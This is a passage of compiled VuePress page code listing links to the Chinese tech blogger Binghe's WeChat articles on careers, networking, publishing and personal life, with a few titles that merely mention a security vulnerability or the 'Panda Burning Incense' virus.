noreferrer"}},[e._v("当年我凭啥能拿下月薪40K的信息安全职位?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490922&idx=1&sn=52b2aafed859e5ac14db6115e3e1a7fe&chksm=cf55aa6bf822237d95b0e9409c5f3b517fb06db8206dd001524c38e506048b07c2fefb0d195f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("万字长文带你图解计算机网络(超全)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489159&idx=1&sn=c3bf154d6f76f867610ef0c802bf48cb&chksm=cf55a186f822289043d5aa9c0a999c6557c976de7a12b7173a457b957dbd7bc0597d16ae3307&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("域名还能绑定动态IP?看完又涨知识了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489146&idx=1&sn=44d502461973c72a418d5597fc9c434b&chksm=cf55a17bf822286d5daf2f7fea9832254d34830df067ef2fff588eadf68151b3e79097a8613f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:讲讲七层网络模型与TCP三次握手与四次断开?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"深度思考"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#深度思考"}},[e._v("#")]),e._v(" 深度思考")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489844&idx=1&sn=30bbf9c5e4ab1ea59029a01738fc386d&chksm=cf55ae35f82227231f51b4dcc68b90b2270b4310f4d7960d1cce3c64fe755e4de7c36b824136&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("程序员如何让自己更快的废掉?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490442&idx=1&sn=f0fc5a95f429e75f1c5726867152ebd6&chksm=cf55ac8bf822259d639a1ee405167a8935cfa0c35c46f7f3c8c2622b6659c224f9d930cc7370&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("真正牛逼的人,都是极简主义者!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490758&idx=1&sn=ebde7336db83320f0886f716b327687d&chksm=cf55abc7f82222d1fb55be7b71be851a2e67d1410dcf3c0fa094da95c1ed7761d102c7ae0f0a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在一个执行力极差的团队工作是一种怎样的体验?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490782&idx=1&sn=8008870f8f460672ad6ad8e763f46815&chksm=cf55abdff82222c94a86cff432a19102d03640617f8806afd8cf64b58f684a4c39ed3c0a7ac4&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("年薪千万的产品经理打开了我对这个职位的新认知!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490856&idx=1&sn=ab1808517ce00ff189e1c7860a0ccaf9&chksm=cf55aa29f822233f3f226b9e7266456f7906f36569e6fbd4c9598f82179f6d6529ff30bd4a9b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深度思考:无关生智,局外生慧!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491156&idx=1&sn=ac80e9cdf4b5822c03cbad700e6d8d55&chksm=cf55a955f8222043cf4755d07a27f52eb62cb5cfd021980dca31189f77eba2ac401cb3f96c37&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何成为一名拖垮整个团队的产品经理?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"程序人生"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#程序人生"}},[e._v("#")]),e._v(" 程序人生")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247503017&idx=1&sn=6670f15d1939257c189846d59dc7f358&chksm=cf567ba8f821f2beeabcce3ca935c04e1b4069e55ea2e19308369e6231c1b5b52c9de079c12a&token=1644289145&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("台湾同胞们也看上咱出版的这本书啦!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498758&idx=1&sn=f5d85fe6a8ae469f710908392f6cca1f&chksm=cf564b07f821c21177a7bf172f7b2f53515b9c63b41e686f013a24e86b24bda730adcf4b28cf&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("离职了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498921&idx=1&sn=cb57113d8590fcc44b8b6d6fe67caeb7&chksm=cf564ba8f821c2be051606fa849d05fb95c66679e97aacc6a912ab3860512e1a1316385988f1&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("新年 Flag!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247502561&idx=1&sn=3200b8f442469c85ffa5f17e6e0da882&chksm=cf567de0f821f4f66f477b3e7ccd6dc6e5ba457b7bb66ec05c5f1aa64d7e6d0bf1f10c8ec3ef&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("年已过半,年终立的Flag实现了几个?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499376&idx=1&sn=999829aa1168842597f0b16e51abc300&chksm=cf564971f821c067d58de32eced4da7c350f5a3ad80c47fa4518c8aa6dcbc30ca88267f27fbc&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("对着灯泡发呆:2022年我要干点啥?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499326&idx=1&sn=7984a35462a1d664ea3134954589b07f&chksm=cf56493ff821c02983d959ad131a7f182cd5030d24a0437567f26561cb3326f42880fc31ae3a&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河十年前的预测如今被阿里实现了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498952&idx=1&sn=4c585cd34e7145fa29d62b5df1e12c5f&chksm=cf564bc9f821c2dfd05d3db88cfae52cb60e8eb1ee4dd85e5b91cafc7ef5f37cd2c9ebaabf90&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河写的这本书在阿里巴巴火了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498919&idx=1&sn=067fb09ae6143ebcb78454b25a12e3ec&chksm=cf564ba6f821c2b074b57c79cea6c0f35424c6d64a97f89d4614710dd72e3eb8a756b4bd3748&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("这个月,4本书上架阿里藏经阁!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498685&idx=1&sn=b96cfb7e32ed9fd3a5c0614c10175901&chksm=cf564cbcf821c5aa9bee21d05b5399ef22e21adf7e2650073c3b288d7bdfe08e8b00b544c698&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河最新电子书上架第一天阅读超15万!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498662&idx=1&sn=f07ef67769b1beeee24bf41ace71100f&chksm=cf564ca7f821c5b1fdd85fd3bffc61b83e69cc018f34bf2107d8667f2fd7fb1103546b981e61&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("B站来袭!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499908&idx=1&sn=54c792a0519eff9d7ae1e600805aeef7&chksm=cf567785f821fe93d9abc40abe3a01306ba97b53069e59b4a685a3a76698d9d2c437b46caee1&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Spring Cloud 突发重大漏洞!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500122&idx=1&sn=480c946ef5b94b86d146ab8aaffc439b&chksm=cf56765bf821ff4d4f266ea73103d17f4509c3a13102beb90b59affc9470eaae90a68362a14f&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("开源的文章又被培训机构“BP”了,这次不忍了"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498274&idx=1&sn=1d9f925a1df8f5a0abd5ca458934071d&chksm=cf564d23f821c435f9fe675aecce576da6aba30d8f77af636a0dd41f976150ac24107f79ddb9&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河写的文章开源了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247501430&idx=1&sn=30c52253266ca68ef313a28a0626f115&chksm=cf567177f821f8618305167308df80b296818f572095b6c395a023e8f446716c972900fd52f7&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("放假了吗?不,你没有假期的!!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247501464&idx=1&sn=6c369f3da796499aa54508437fadbe11&chksm=cf567199f821f88fbfb7fe7074cfe6b5e223f1779b57fccea4fd0c51bfb375c5b48f855346f0&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("放假第二天的重大事故:忘记服务器root密码了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497986&idx=1&sn=041e4ff2c1dfe235ed1da60cee930459&chksm=cf564e03f821c71521ed834533fc4903cbd4d10d02222c9853047ca0388b520c649798de6271&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河在大学是怎样度过的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497953&idx=1&sn=03b0377302d0ea619519b800390cbe94&chksm=cf564fe0f821c6f6048321e35fa84b26ceb028b83e62cb80e457427e2d2105761afa0e70acd7&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河作客开源中国“高手问答”栏目了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497936&idx=1&sn=783d8a11c155c0a0dcfd8654295138cb&chksm=cf564fd1f821c6c72cdef5edce37a29321730d69e686b30adab49278138832acbba06605494c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一个脚本教你快速去除桌面图标烦人的小箭头!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497781&idx=1&sn=8880e760dd07a6ac6f2992bf6ea9cfd1&chksm=cf564f34f821c62289fe696f7960903a2cc4ba445a658be00111fbaf2f5290e96ffb936c6a31&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("这些网站陪伴了我5年!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497737&idx=1&sn=8b02a91d1b6243cc788993d985a815fe&chksm=cf564f08f821c61e320c5d296e0cd92acfeacd4c0de1d7c2584e0f510f2839d66692d31def60&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("气愤:特么原创文章被抄袭者举报抄袭了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497684&idx=1&sn=b6eb0c56807346e726ecb0cfc3464200&chksm=cf5640d5f821c9c326a5c35c2f3ea581b302555a69459fc781a9ce88cb45c14e0bc8d78a9ae9&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河去开源中国了?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497618&idx=1&sn=c4f00728f452dbdd57840c7c541d8d28&chksm=cf564093f821c985217a626f404656261e98f5a110b32503991eb129279c4e18501920d91426&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("医院,你好狠!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497081&idx=1&sn=0d94381c62d5daca51e1e4549d883c96&chksm=cf564278f821cb6e7ca96749658d1c235b9a1319b35f3a991efa47e76fbecd3f1dc26b6f212c&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河又被全球敏捷运维峰会推荐了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496676&idx=1&sn=e3ee359da4ec9d8ff5cfb739c6ebfed5&chksm=cf5644e5f821cdf38fa76d6cc09ce922f11917021ba556caa2f5aee935f33d44fc308bf71f0a&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("这件事我坚持了9个月!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496575&idx=1&sn=219b048616242887b1b2f828e9f8e28b&chksm=cf56447ef821cd68265098f37714357bf69c80ca640efd7a5da7e31ceca7a7237fbc3c83d090&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("跟小伙伴们聊聊我有趣的大学生活和我那两个好基友!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495809&idx=1&sn=a347b7aefd968eb0e53e8401ef8abdd2&chksm=cf564780f821ce9690cef93dfbca06d3bea192578188aec4dc1d2cf2996e5b140ff5cb3a093f&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河又被腾讯推荐了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495593&idx=1&sn=d87489315dcb0c35671798926781f20d&chksm=cf5658a8f821d1bea6490629ca9903b0cf1ea7e7cddeb5ab5af5910a21e5f4c94deab2e0319a&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河,能跟大家分享下你的经历吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495127&idx=2&sn=50e126c1a5faab1ccc7f613a7876fb75&chksm=cf565ad6f821d3c0c6fee2478f804f1ceba0a838ea35ac9c51ec97649f78c0f13a73617f608e&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河技术微信群开放啦!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495045&idx=1&sn=b15660f9484fadc798dbc14324fcd1a7&chksm=cf565a84f821d39217609023aad0e16c2f31d362f4d1e974ae3064c7523258640c466e02c7e4&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("啥情况?很多读者竟然要到我QQ空间学习?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494720&idx=1&sn=cd78b6068f377aaf1dba7ca0bc5a946b&chksm=cf565b41f821d257b5a8dd86d582b1e102751bedf60c9ed4b511c4e77eb3ebae6d293caa6246&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("交稿了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494619&idx=1&sn=0c8a69516ecb86480d7c8f5b1e45bfa7&chksm=cf565cdaf821d5ccd5f048524f8d2d18e48edba2de61ee56aa3ac9a0afa6247a68599992aac6&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河裸考竟然过了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494563&idx=1&sn=e4b23e47fbe128d77a0efe63f0dfe052&chksm=cf565ca2f821d5b4e49a940e839349efe76ca6c3ab50a8f9827d3c487923a1f2769cfc82ff50&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我在清华大学看到了自己出版的图书!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494544&idx=1&sn=872111e8ad2fb4240f7502e8211a72f4&chksm=cf565c91f821d587c3d683ce7c148987acc73aebe716e34195fab18fe6b1e9c15a2929066e13&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河上百度百科了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494279&idx=1&sn=27fb28e4f62427a4d5f35b064419d9aa&chksm=cf565d86f821d4907c2deb2adaf7927736e0d515b74897253d58b8849870c2e7de34381fa09c&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在图书馆看到自己出版的图书是一种怎样的体验?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493983&idx=1&sn=401faebd5873ef02f8a5958121b04024&chksm=cf565e5ef821d74836c7458c62b67dbf714961f9fe07834825f0e037bf12873612b9f979a2c6&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("生病了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493673&idx=1&sn=799ce630997d008c28517f302aa02417&chksm=cf565f28f821d63efeaa1431aacb9dbd0944dff2ebf4f7e02b5897c94f7f590a9be9ae4086be&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("想做一个平台,整合所有医院的资源!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493670&idx=1&sn=d07941b87378938d00c9d686ade7944a&chksm=cf565f27f821d63176bfc4103c8c7657c9400773325a9e54392e9959de51c319020599b7578e&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("生病了,希望能早日康复!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493585&idx=1&sn=93ef5010dcf9ad9ee77b12be947e25a0&chksm=cf5650d0f821d9c65f5b0bd8c33096f0bd4ebb10667d9da31cbbd04d6f9bf4eb33592ec70e49&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("这本MySQL图书再次加印1万册!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493250&idx=1&sn=f07e7e632730995f864c38f79174a235&chksm=cf565183f821d895ad6f09d8a1bbc192f8a19f6f1d4768f2b3b272252c22ca1c85bc7d2a7684&token=447597716&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河创作《深入理解高并发编程》的幕后故事!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493087&idx=1&sn=1c9a619471364701e059003ddb28d8ca&chksm=cf5652def821dbc8a193344c20a0d133926c7e765a565d9d4aef2ed5b37d184ee3d816877eef&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河常逛这些学习网站!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493060&idx=1&sn=26c1ab30fe5dd021fc5f6e831694bceb&chksm=cf5652c5f821dbd3e8a415fa4e70f0b83dbff00bea9af5639c1244b78355956090522f6f119c&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河这一个月都干啥啦?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492954&idx=1&sn=b824f9fa6eb1e1c1683596458e4b9aba&chksm=cf56525bf821db4d2cf6ab008e20f8147c760bd70e41aca990c3b32a402ff3aedaf2c933fc82&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("五一假期偷偷学这些内容,然后惊艳所有人!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492935&idx=1&sn=ab7dbf10265ccd35cc0483c3adb70b47&chksm=cf565246f821db50a805dd563849cd767656ec7e26405b9e857632ff2df5171aa39654a09a85&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("听说Seata发布新版本了?不慌,五一假期吃透它!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492619&idx=1&sn=cee7a99c29a19ddcc4dc7b00bf813fcf&chksm=cf56530af821da1c7e760521c24e238db37ad07b798eed804b91e134f6006b5a3d72b6d5e171&token=78679959&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("很多小伙伴问我如何按分类查看「冰河技术」公号文章,往这儿瞧!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492405&idx=1&sn=008cf51e22709b37f40c1f7e6b20be17&chksm=cf565434f821dd2281b97986f4fc59024524ed2338c64f9ba4352a363755e09ffe3929cc46d9&token=78679959&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("毕业五年,从月薪3000到年薪百万,我掌握了哪些核心技能?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492392&idx=1&sn=6a5449a08106ab03c7423fcff41cea1a&chksm=cf565429f821dd3f44d818b7452e3ac3bb5a756b673e168bb3a30839fd6fee07496f271357db&token=1053291757&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("文章又被白嫖了,你说气不气?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492376&idx=1&sn=9df725eb8b40dbb85359dbc25f013e35&chksm=cf565419f821dd0f0195f17d2662cf8c72ec81c1c3e0fda8954a1e5c159e9230c8d1118eba3a&token=1053291757&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("清明节偷偷训练“熊猫烧香”,结果我的电脑为熊猫“献身了”!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492295&idx=1&sn=4d1a4407977febf2e8c2e234f42e1c30&chksm=cf5655c6f821dcd0eb1f6945217cb29a8ab89dd4aaeb507da173d2a94aae514c40c4185fad7e&token=1053291757&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("千万不要轻易尝试“熊猫烧香”,这不,我后悔了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492259&idx=1&sn=067e2f48577c23eadae9922f9bda0cf0&chksm=cf5655a2f821dcb47322fa711ba6e4c21d9d10ec52ef2c8d7c6ca228e402aba2ffd6f25303c2&token=1053291757&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("从小白程序员到大厂高级技术专家我看过哪些书籍?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492020&idx=1&sn=66b8e7335c05067ad0187a45642c1884&chksm=cf5656b5f821dfa3437f652040bfb3efe51390773de8c1b9e2be1aab1985f3c7e5ac642faf0f&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("敲定了,冰河要搞大事情了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491980&idx=1&sn=cde6f4556e8dbb76798fd4aa9ac8aeb8&chksm=cf56568df821df9b22456fcc9495431d6fda8e756ef1a08410cf425388e9bbbf2ebcf08e069c&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("连续一年多没有周末是一种怎样的体验?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491860&idx=1&sn=7a5692c74f88ac0e6e62cad958fe50b0&chksm=cf565615f821df0321278f83d50e1bbb961e2b5a3e2b9945219d4ded56b7aa7d73f8bb840402&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴问我:「冰河技术」公号如何查看文章分类?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489715&idx=1&sn=f6153571a149be56ee5c9242eccc2c35&chksm=cf55afb2f82226a4ac7101378220b60528015989e1c805b59575f982d993e9556e411c9d42df&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("新年新气象,2021年我们一起携手前行!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489729&idx=1&sn=64c1c1089a8ff2103673042c7ddf0d3c&chksm=cf55afc0f82226d6e5d54724349d358c7298a9bacc57d0419127656c443eb6c78678428d20cb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener 